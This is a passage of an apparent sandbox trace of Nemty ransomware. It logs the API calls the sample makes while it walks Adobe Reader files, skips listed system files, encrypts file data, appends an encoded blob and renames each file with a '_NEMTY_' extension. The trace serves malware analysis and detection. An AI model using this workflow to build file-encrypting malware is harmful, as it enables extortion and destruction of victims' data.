ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1b976fd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1b976fd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.402] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0174.402] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0174.402] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9342, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0174.402] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0174.403] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0174.403] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0174.403] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0174.403] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0174.403] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0174.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0174.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0174.403] Sleep (dwMilliseconds=0x5) [0174.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1b99d130, dwHighDateTime=0x1d561e8)) [0174.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1b99d130, dwHighDateTime=0x1d561e8)) [0174.406] GetLastError () returned 0xb7 [0174.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.406] GetLastError () returned 0xb7 [0174.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.406] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0174.406] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0174.406] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0174.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0174.406] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="wTAyNj6tJW0y1N1F08MYHiIWl8tnKeKYJZuF0PGv3KRZDLjhut7DMFjyNmzb1+7n\r\nQDgrjYXXE7uKO6YrgB0oh3Kl7O0bDN6Dq69N0ZM/3/AjjS8rjJcgH650X8DuS2Zh\r\n1Phw8OyNKYKQQilBLSbzFemlae1SGpDYSy3PNkOFDA5xC0U1zd3ZqyfyTt/bGGW3\r\nIUGQbPA66d/DRHp6ljqBmXA/rGEx9giZsmNbAP92Qc8Hci2xBV86yruyCkJ2i7l/\r\n0UmSE3jcRkIzzjZKf9ZMzEz5gJak2rW4/mKwGeBDC2TCd1bkJPRhIe5LAMx5uQpH\r\nMHyuoHhP3OjTpqM2ybbBXA==\r\n", pcchString=0x653e29c) returned 1 [0174.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0174.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0174.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0174.407] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=37698) returned 1 [0174.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9340) returned 0x6352c48 [0174.407] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.407] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9340, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x9340, lpOverlapped=0x0) returned 1 [0174.411] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.411] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x9340, lpOverlapped=0x0) returned 1 [0174.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.411] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=37698, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9342 [0174.411] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0174.411] CloseHandle (hObject=0x2f0) returned 1 [0174.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0174.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0174.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0174.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0174.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.412] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0174.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0174.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0174.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0174.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.412] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0174.412] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0174.412] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0174.413] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0174.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0174.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0174.414] Sleep (dwMilliseconds=0x5) [0174.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1b9c3290, dwHighDateTime=0x1d561e8)) [0174.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1b9c3290, dwHighDateTime=0x1d561e8)) [0174.421] GetLastError () returned 0x0 [0174.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.421] GetLastError () returned 0x0 [0174.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.422] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0174.422] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0174.422] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0174.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0174.422] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="pvcr3Ohg+aBPZXHe2z0xvXJPU3TNsdevfUXSN/DigKSRUT3gysxh1S9F0cGPfgbr\r\n00J2RS3HGgYXlSXDKZCOM01d6iAWyajZWLVm+s5KOSBUZKa5Lq1cbNRg4Izk1KTU\r\nG2Nvp0hEwfcFwN1sTyFbhMlePPIgDa4bGEk22GYm9O9Iz+75c/7Mz1y4fmTVbvwL\r\nOoc2YBaQwh0ncnyXKOIWtiQGx3/dvWaJSTrZn2WbJGuFpt2aZim0c6JcCn1xndVJ\r\nZlvQBUkK6NcmLKnjNk9mmnniCgmTuJ1Dy7rVKFUAnhgnC1GYVRKVkcMDhge+TkDR\r\nSnRZpzlbarx+uWtUZmyCLA==\r\n", pcchString=0x653e29c) returned 1 [0174.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0174.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0174.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.422] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0174.422] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=229) returned 1 [0174.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0174.422] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.422] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0174.423] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.423] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0174.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0174.423] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=229, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe5 [0174.424] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0174.424] CloseHandle (hObject=0x2f0) returned 1 [0174.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0174.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0174.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0174.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0174.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 